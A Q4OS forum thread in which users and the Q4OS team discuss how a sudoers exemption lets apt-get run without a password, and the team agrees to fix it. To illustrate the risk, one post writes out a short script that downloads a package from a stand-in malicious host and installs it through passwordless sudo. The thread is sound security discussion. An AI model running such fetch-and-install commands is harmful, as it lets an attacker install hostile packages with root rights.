Sudo timeout set to 0 does not affect update - upgrade

bin · 2019-06-04 06:57

Using Scorpion.

Set /etc/sudoers.d/q4_sudo_confd timeout to 0

Test with application - prompts for password even in same Konsole session - good

Test using sudo apt-get update / upgrade

Does not prompt for password.

q4osteam · 2019-06-04 08:03

Yes, apt-get is excluded from sudo, see the "/etc/sudoers.d/30_q4os_apt" file. You can remove this configfile, but some Q4OS tools will not be operational.

jotapesse · 2019-06-04 11:57

q4osteam wrote:

Yes, apt-get is excluded from sudo, see the "/etc/sudoers.d/30_q4os_apt" file. You can remove this configfile, but some Q4OS tools will not be operational.

Hi. Out of curiosity, exactly what is, from a security perspective, the impact of the current Q4OS sudo implementation and exactly what applications are involved/affected? Is there a document or white paper on it available?

Last edited by jotapesse (2019-06-04 11:58)

q4osteam · 2019-06-04 12:07

No significant impact, sudo password is not just required for apt-get commands in terminal. Anyway, we recommend to prefer the "apt" command, as it's more user level oriented then apt-get. There is no related documentation available at the moment.

jotapesse · 2019-06-04 12:33

And what Q4OS tools depend on it to work properly? You mean that, for example, it could be possible for a malicious shell script designated to exploit Q4OS systems to work like the following, without any password?

$ wget $MALICIOUS_HOST/malicious_package.deb
$ sudo apt-get install ./malicious_package.deb
$ rm ./malicious_package.deb

If so, then I would say that could be a huge security impact/risk. Right?

q4osteam · 2019-06-04 13:12

jotapesse wrote:

And what Q4OS tools depend on it to work properly?

Q4OS updater, application installer, desktop profiler

jotapesse wrote:

...If so, then I would say that could be a huge security impact/risk. Right?

We don't consider that a "huge" security risk. The following code would work in a similar way on most Linux distributions with sudo timeout enabled by default, including Ubuntu, Debian, etc.. Check for example this one on a plain Debian install:
$ sudo -k
$ sudo echo
$ sudo sh run_the_script_above

Anyway, we can agree this is a kind of "ugly" sudo configuration and will try to find a way to fix that as soon as possible.

jotapesse · 2019-06-04 13:44

q4osteam wrote:

The following code would work in a similar way on most Linux distributions with sudo timeout enabled by default, including Ubuntu, Debian, etc.. Check for example this one on a plain Debian install:
$ sudo -k
$ sudo echo
$ sudo sh run_the_script_above

Ok, but this would still require a first sudo password to start the timeout. Yes, not much secure if a user is lead to insert its password. But in Q4OS apt-get, no sudo password is ever required.

q4osteam wrote:

Anyway, we can agree this is a kind of "ugly" sudo configuration and will try to find a way to fix that as soon as possible.

Agreed. That is probably the best.

q4osteam · 2019-06-04 13:56

jotapesse wrote:

But in Q4OS apt-get, no sudo password is ever required.

This is not completely correct. In Q4OS you cannot run "sudo apt-get ..." command without password, as you need to enter password at least at the login screen. Yes, you can have a password-less session configurations even for sudo users, and we consider that as the most weakness point in Q4OS, but this is not quite secure in general. Anyway, we would need to handle "apt-get" in a correct and safe system way, no doubt.

Last edited by q4osteam (2019-06-04 13:58)

jotapesse · 2019-06-04 14:16

q4osteam wrote:

jotapesse wrote:
But in Q4OS apt-get, no sudo password is ever required.
This is not completely correct. In Q4OS you cannot run "sudo apt-get ..." command without password, as you need to enter password at least at the login screen. Yes, you can have a password-less session configurations even for sudo users, and we consider that as the most weakness point in Q4OS, but this is not quite secure in general. Anyway, we would need to handle "sudo" in a correct and safe system way, no doubt.

Ok, I'll rephrase it. I meant to say that: In Q4OS, within any user session (if user on sudo group), no sudo password is ever required to run apt-get. That includes auto-login user sessions, in this case not even (manual) login is required. Anyway the concern here is that it is a potential security vulnerability (no password required) that may be exploited well under the radar (no alert given or elevated user privileges required) if a user is lead to inadvertently run a malicious script that tries to install a malicious package.

Last edited by jotapesse (2019-06-04 14:25)

q4osteam · 2019-06-04 16:25

Right. Nonetheless, it could happen on other Linux distributions for ex. Debian too, although under more limited circumstances. If a user has used a sudo command before, and then run a malicious script inadvertently, no password is required to run (not only apt-get but) any system command as root, if sudo timeout didn't expire.

jotapesse · 2019-06-04 18:58

True, indeed. The following article is a good read about the risks associated with sudo timeout.

Q4OS Forum

#1 2019-06-04 06:57

Sudo timeout set to 0 does not affect update - upgrade

#2 2019-06-04 08:03

Re: Sudo timeout set to 0 does not affect update - upgrade

#3 2019-06-04 11:57

Re: Sudo timeout set to 0 does not affect update - upgrade

#4 2019-06-04 12:07

Re: Sudo timeout set to 0 does not affect update - upgrade

#5 2019-06-04 12:33

Re: Sudo timeout set to 0 does not affect update - upgrade

#6 2019-06-04 13:12

Re: Sudo timeout set to 0 does not affect update - upgrade

#7 2019-06-04 13:44

Re: Sudo timeout set to 0 does not affect update - upgrade

#8 2019-06-04 13:56

Re: Sudo timeout set to 0 does not affect update - upgrade

#9 2019-06-04 14:16

Re: Sudo timeout set to 0 does not affect update - upgrade

#10 2019-06-04 16:25

Re: Sudo timeout set to 0 does not affect update - upgrade

#11 2019-06-04 18:58

Re: Sudo timeout set to 0 does not affect update - upgrade

Board footer